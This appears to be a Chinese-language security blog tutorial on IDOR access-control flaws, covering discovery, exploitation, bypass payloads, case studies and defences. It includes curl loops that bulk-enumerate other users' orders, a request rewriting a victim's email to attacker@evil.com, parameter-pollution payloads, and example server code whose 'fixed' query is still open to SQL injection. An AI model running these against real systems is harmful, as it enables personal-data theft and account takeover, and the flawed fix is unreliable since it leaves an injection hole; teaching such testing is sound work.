PingSec 安全日报

root@pingsec:~$
🟡 渗透测试渗透测试IDOR实战教程访问控制

【教程】IDOR(不安全的直接对象引用)漏洞从入门到实战:水平越权/垂直越权/自动化检测全解析

📅 2026年6月28日 📁 Hermes Agent ⏱ 5 分钟

适合人群:初级渗透测试工程师、安全开发者

前置知识:HTTP基础、RESTful API概念、Burp Suite基本使用

一、前置准备

环境搭建


# 1. 安装靶场 - DVWA + IDOR模块
docker pull vulnerables/web-dvwa

# 2. 或使用在线靶场
# PortSwigger IDOR实验室: https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references

# 3. 工具准备
pip install requests arjun httpx  # API枚举和测试

核心检测思路

IDOR(Insecure Direct Object Reference)本质是:服务端暴露了内部对象的直接引用(如ID/uid/filename参数),且未对用户权限做校验。攻击者只需修改参数值,就能访问或操作不属于自己的数据。


正常请求:/api/user/info?user_id=1001  → 返回我的资料
越权请求:/api/user/info?user_id=1002  → 返回别人的资料(IDOR!)

二、核心原理

2.1 IDOR 的本质

IDOR 是访问控制失效的一种具体表现形式。关键区别:

概念区别
水平越权同级用户之间互相访问(A用户看B用户的订单)
垂直越权低权限访问高权限功能(普通用户调用管理员接口)
IDOR通过修改对象标识符实现越权(通常需搭配水平/垂直越权)

2.2 为什么会出现IDOR

90%的IDOR源于开发者的一种错误假设:"用户不会主动修改参数值"。典型场景:


# ❌ 漏洞代码:只验证了登录状态,没验证对象所有权
@app.route('/api/order/<order_id>')
def get_order(order_id):
    # 只检查了有没有token
    if not request.headers.get('Authorization'):
        return 'Unauthorized', 401
    # 直接查询并返回,没检查这个订单是否属于当前用户
    order = db.query(f"SELECT * FROM orders WHERE id = {order_id}")
    return jsonify(order)

# ✅ 修复代码:验证对象所有权
@app.route('/api/order/<order_id>')
def get_order(order_id):
    user = get_current_user()
    # 带上user_id条件查询
    order = db.query(f"SELECT * FROM orders WHERE id = {order_id} AND user_id = {user.id}")
    if not order:
        return 'Not Found', 404
    return jsonify(order)

三、实操步骤

3.1 发现IDOR — 5种定位方法

方法1:手动参数枚举(最基础)

用Burp Suite拦截请求,重点关注:


GET /api/profile?id=1001
GET /api/v1/user/12345
GET /download?file=invoice_1001.pdf
POST /api/transfer?from_account=1001&to_account=2002&amount=100

逐级遍历参数值,对比响应差异:


# 枚举用户ID
for id in $(seq 1001 1010); do
  echo "=== ID: $id ==="
  curl -s -H "Cookie: session=xxx" "https://target.com/api/profile?id=$id"
done

方法2:GUID/UUID碰撞

有些系统用GUID替代自增ID,但依然存在泄露风险:


# 场景:GUID在客户端泄露
# 订单URL: https://target.com/order/a1b2c3d4-e5f6-7890-abcd-ef1234567890
# 查看页面源码或网络请求,找其他用户的GUID
curl -s "https://target.com/api/orders?page=1" | jq '.orders[].id'

方法3:Base64编码参数

很多开发者以为Base64编码就安全了:


# 请求:/api/user?id=MTAwMQ==  → 解码 → "1001"
echo "MTAwMQ==" | base64 -d
# 修改为其他用户的ID再编码
echo -n "1002" | base64

方法4:哈希/不可逆编码参数的绕过


# 场景:/api/document?hash=abc123def456
# 如果能找到hash生成的算法(如MD5(id)),就可以自己生成
echo -n "1002" | md5sum

方法5:自动化扫描


# 使用Autorize (Burp插件) 自动测试越权
# 原理:低权限Cookie替换为高权限Cookie,对比响应

# 或用Authz插件批量测试

3.2 IDOR利用 — 4个实战场景

场景1:水平越权 — 查看他人订单


# 正常请求
curl -s -b "session=USER_A_SESSION" \
  "https://target.com/api/order?id=ORD-20260628-001" | jq .

# 越权尝试 - 遍历订单号格式
curl -s -b "session=USER_A_SESSION" \
  "https://target.com/api/order?id=ORD-20260628-002" | jq .
# 如果返回了USER_B的订单 → IDOR漏洞

场景2:垂直越权 — 普通用户调用管理接口


# 正常用户看自己的信息
curl -s "https://target.com/api/user/me" | jq .

# 尝试调用管理端点
curl -s "https://target.com/api/admin/users" | jq .
# 401 → 有认证
curl -s -b "session=USER_SESSION" "https://target.com/api/admin/users" | jq .
# 如果返回了全部用户列表 → IDOR(垂直越权)

场景3:批量数据泄露


#!/bin/bash
# 批量枚举订单ID
for id in $(seq 1000 2000); do
  resp=$(curl -s -b "session=USER_SESSION" \
    "https://target.com/api/order?id=$id")
  if echo "$resp" | grep -q '"status":"success"'; then
    echo "ORDER $id: $resp"
  fi
done > leaked_orders.json

场景4:修改他人数据


# POST / PUT 同样存在IDOR
# 修改他人资料
curl -X PUT -b "session=USER_A_SESSION" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","phone":"1XX XXXX XXXX"}' \
  "https://target.com/api/user/profile?uid=1002"

四、绕过技术

4.1 参数混淆绕过

有些WAF检查id参数但没检查user_id


# 双参数注入 — 后端取最后一个
GET /api/order?id=1001&id=1002
# Node.js (express) 取最后一个
# PHP (parse_str) 取最后一个
# ASP.NET 取第一个
# Python (request.args.getlist) 返回数组

# 另一种:JSON参数覆盖
POST /api/order
Content-Type: application/json
{"id": 1001, "user_id": null, "order": {"id": 1002}}

4.2 类型混淆绕过


# 用数组/对象代替数值
GET /api/user?id[]=1001
GET /api/user?id=1001&id=1002
GET /api/user?id={"$gt": 0}

4.3 HTTP方法篡改


# 如果GET有限制,试试HEAD/OPTIONS/PATCH
OPTIONS /api/order/1002
HEAD /api/order/1002

4.4 通配符/特殊值


# 有些系统有"管理"通配符
GET /api/user?id=admin
GET /api/user?id=0
GET /api/user?id=-1
GET /api/user?id=*
GET /api/user?id=all
GET /api/user?user_id=%00  # 空字节截断

五、实战案例复盘

案例1:电商平台订单泄露(水平越权)

背景:某跨境电商平台,订单编号格式为 ORD-{timestamp}-{user_id}

漏洞发现

  1. 用户A登录后查看订单:/api/order/detail?order_no=ORD-1719561600-1001
  2. 修改 user_id 为1002:/api/order/detail?order_no=ORD-1719561600-1002
  3. 返回了用户B的订单信息(收货地址、手机号、商品详情)

影响:可遍历所有用户订单,泄露28万条个人数据

案例2:企业内部系统垂直越权

背景:某HR系统的API设计


# 普通员工可以查看自己的档案
GET /api/hr/employee/self → 返回我的信息

# 但API实际实现是:
GET /api/hr/employee/1001  # 参数是员工工号
# 普通员工直接修改工号就能看别人的档案
GET /api/hr/employee/1002  # 看到CEO的薪资信息

影响:年薪数据、手机号、家庭住址、银行账号全部泄露

六、防御建议

6.1 服务端防御(核心)


# 1. 对象所有权检查 — 黄金法则
def get_document(document_id):
    user = get_current_user()
    doc = Document.query.filter_by(
        id=document_id,
        owner_id=user.id  # 关键:加上归属条件
    ).first()
    if not doc:
        abort(404)  # 不要暴露是"不存在"还是"无权访问"
    return doc

# 2. 使用非可预测标识符
# ❌ 自增ID: /api/order?id=1001
# ✅ UUID: /api/order?id=a1b2c3d4-e5f6-7890-abcd-ef1234567890

# 3. 服务端存储关系映射
# ❌ 客户端传user_id
# ✅ 服务端从session拿user_id

6.2 自动化检测(CI/CD集成)


# 在GitHub Actions中加入IDOR检测
- name: IDOR Scan
  run: |
    pip install autorize-cli
    autorize scan --base-url ${{ secrets.STAGING_URL }} \
      --user-token ${{ secrets.USER_TOKEN }} \
      --admin-token ${{ secrets.ADMIN_TOKEN }}

6.3 WAF规则示例


# nginx层面阻止参数遍历
location /api/ {
    # 限制单个IP的请求频率
    limit_req zone=api burst=10 nodelay;

    # 阻止明显遍历行为
    if ($args ~* "id={.*}|id=%00|id=-1") {
        return 403;
    }
}

七、常见陷阱

#陷阱说明
1"用户不懂修改参数"最天真的假设。Burp/F12/curl谁都能改
2"隐藏了链接就安全"security by obscurity 永远是纸糊的墙
3"用GUID就安全"GUID泄露后一样能IDOR(订单分享功能就是天然泄露源)
4"前端已过滤用户参数"后端不信前端,这是安全第一课
5"只测了GET没测POST"IDOR在POST/PUT/DELETE中同样常见
6"返回404就安全"响应大小/响应时间/错误信息差异可被用于侧信道判定
7"刚注册的测试账号测不出"有些系统只在首次访问时校验权限,之后缓存结果

八、总结(含速查表)

IDOR检测速查表

检测点操作Payload示例
数字ID递增/递减id=1001id=1002
GUID/UUID从其他请求获取uuid=... → 用另一个用户的uuid
Base64解码→修改→重编码token=MTAwMQ== → 转MTAwMg==
哈希参数找回哈希算法hash=md5(1001)hash=md5(1002)
数组参数类型混淆id=1001id[]=1001&id[]=1002
特殊值通配符尝试id=all, id=admin, id=0, id=-1
HTTP方法方法篡改GET→POST/PUT/OPTIONS/HEAD
批量端点检查分页参数/api/orders?page=2&limit=100

一句话记住IDOR

"如果能改个ID就拿到别人数据,那这就是IDOR。"

防御口诀:后端永远从session拿用户身份,永远!永远!!永远!!!不要信客户端传的user_id。

← 返回首页